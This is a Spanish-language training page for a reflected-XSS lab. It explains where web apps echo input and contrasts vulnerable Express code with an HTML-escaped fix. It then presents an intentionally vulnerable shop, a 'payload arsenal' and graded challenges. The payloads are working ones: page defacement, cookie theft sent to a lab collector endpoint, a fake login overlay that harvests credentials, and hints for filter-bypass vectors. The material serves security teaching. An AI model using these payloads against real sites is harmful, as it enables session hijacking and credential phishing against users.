¿Cuándo se produce el XSS reflejado?

El XSS reflejado ocurre cuando una aplicación web incluye datos proporcionados por el usuario directamente en la respuesta HTML, sin escaparlos. El payload no se almacena: viaja en la petición y "rebota" de vuelta en la respuesta. De ahí el nombre.

Casos típicos donde las apps reflejan input

Buscadores

La página muestra "Resultados para: [tu búsqueda]". Si el término de búsqueda se inserta en el HTML sin escapar, es vulnerable.

Páginas de error

Mensajes como "No se encontró la página: /ruta-que-pediste" o "Email incorrecto: usuario@dominio".

Saludos personalizados

URLs como /bienvenida?nombre=Carlos que generan "Hola, Carlos" en la respuesta.

Redirectores abiertos

Parámetros como ?redirect=/dashboard que se renderizan en la página antes de ejecutar la redirección.

El código vulnerable y su versión segura

Node.js / Express — ❌ VULNERABLE
app.get('/search', (req, res) => {
  const query = req.query.q;

  // ❌ El input se inserta directamente en el HTML
  // Si query = "<script>alert(1)</script>"
  // → el navegador ejecuta ese script
  res.send(`
    <h1>Tienda Online</h1>
    <p>Resultados para:
      <strong>${query}</strong>
    </p>
  `);
});
Node.js / Express — ✅ SEGURO
// Función de escape de HTML
function escapeHtml(str) {
  return String(str)
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#039;');
}

app.get('/search', (req, res) => {
  // ✅ El input se escapa antes de insertar
  const query = escapeHtml(req.query.q);
  res.send(`
    <p>Resultados para:
      <strong>${query}</strong>
    </p>
  `);
});

¿Cómo se explota? El flujo del ataque

⚔️
Atacante
crafts URL
📧
Víctima
recibe enlace
🖥️
Servidor
refleja payload
🌐
Navegador
ejecuta JS
💀
Atacante
recibe cookie
El eslabón débil: la víctima debe hacer clic
A diferencia del XSS persistente, el reflejado requiere que la víctima visite la URL maliciosa. Por eso se distribuye por email, SMS, redes sociales, o se oculta detrás de acortadores de URL. La ingeniería social es parte fundamental del ataque.
⚠️ Aplicación intencionalmente vulnerable
La tienda de abajo ejecuta un endpoint (/api/search) que refleja el parámetro q directamente en el HTML sin sanitizar. Esta es la superficie de ataque. Tu cookie lab_session está disponible sin HttpOnly — puedes verla con document.cookie.
Aplicación Vulnerable — Tienda Online

Escribe una búsqueda normal primero para entender el comportamiento, luego prueba payloads:

Esto abrirá /api/search?q=TU_INPUT en una nueva pestaña. El servidor devuelve la página con tu búsqueda reflejada sin escapar.


URL generada:

Escribe algo arriba para ver la URL...
Tu cookie de sesión actual

Esta cookie está disponible desde JavaScript (sin HttpOnly):

Arsenal de Payloads

Haz clic en "Usar" para cargar el payload en el buscador:

1. Prueba básica — alert()
<script>alert('XSS!')</script>
2. Sin script — img onerror
<img src=x onerror="alert('XSS sin script tag!')">
3. Defacement — reemplazar página
<script>document.body.innerHTML='<div style="background:#0a0f1e;color:#f43f5e;display:flex;align-items:center;justify-content:center;height:100vh;font-size:3rem;font-weight:900;position:fixed;top:0;left:0;width:100%">💀 PWNED</div>'</script>
4. Robo de cookie — image beacon
<script>new Image().src='/api/collect?c='+encodeURIComponent(document.cookie)</script>
5. Robo de cookie — fetch API
<script>fetch('/api/collect?c='+encodeURIComponent(document.cookie))</script>
6. Fake login overlay
<script>var o=document.createElement('div');o.style.cssText='position:fixed;top:0;left:0;width:100%;height:100%;background:rgba(0,0,0,.88);z-index:99999;display:flex;align-items:center;justify-content:center';o.innerHTML='<div style="background:#fff;padding:2rem;border-radius:8px;width:320px;font-family:sans-serif"><h3 style="margin:0 0 0.5rem;color:#111">Sesión expirada</h3><p style="color:#666;font-size:.9rem;margin:0 0 1rem">Por seguridad, vuelve a iniciar sesión</p><form action="/api/collect" method="GET"><input name="user" placeholder="Email" style="display:block;width:100%;margin-bottom:.5rem;padding:.6rem;border:1px solid #ddd;border-radius:4px;box-sizing:border-box"><input name="pass" type="password" placeholder="Contraseña" style="display:block;width:100%;margin-bottom:1rem;padding:.6rem;border:1px solid #ddd;border-radius:4px;box-sizing:border-box"><button type="submit" style="background:#2563eb;color:#fff;border:none;padding:.6rem 1.2rem;border-radius:4px;cursor:pointer;width:100%">Entrar</button></form></div>';document.body.appendChild(o);</script>
Cómo funcionan los retos
Cada reto te pide explotar el buscador vulnerable de una forma específica. Usa los payloads del laboratorio o crea los tuyos propios. Los retos de robo de cookie se validan automáticamente contra /api/collect/results.
1 Defacement — Desfigura la página de resultados
Básico

Inyecta un payload en el buscador que reemplace visualmente todo el contenido de la página de resultados (/api/search). El objetivo es modificar document.body.innerHTML o la apariencia de la página de forma notable.

Pista

Usa el payload de Defacement del panel de laboratorio. Ábrelo en la nueva pestaña y observa el efecto. El payload necesita modificar document.body o document.body.innerHTML.

2 Roba tu propia cookie de sesión
Intermedio

Inyecta un payload que exfiltre la cookie lab_session al servidor del atacante simulado (/api/collect). Después usa el botón de validación para confirmar que la cookie fue capturada.

Pista

Usa el payload nº4 o nº5 del arsenal. Visita la URL generada en una nueva pestaña. El script en esa página enviará tu cookie a /api/collect?c=.... Luego valida aquí.

3 Inyecta un formulario de login falso
Avanzado

Inyecta un overlay con un formulario de login que parezca legítimo y que envíe las credenciales introducidas a /api/collect. Después comprueba que las credenciales llegaron al servidor del atacante.

Pista

Usa el payload nº6 del arsenal. Visita la URL en una nueva pestaña, introduce credenciales en el formulario falso y envíalas. Luego valida aquí.

4 Crea tu propio payload desde cero
Experto

Sin usar los payloads del arsenal, escribe tú mismo un payload que: (a) no use la etiqueta <script> directamente, y (b) exfiltre la cookie a /api/collect. Demuestra que hay múltiples vectores.

Pista

Considera: <img src=x onerror=...>, <svg onload=...>, <body onload=...>, <iframe src="javascript:...">. Técnicas de bypass de filtros básicos.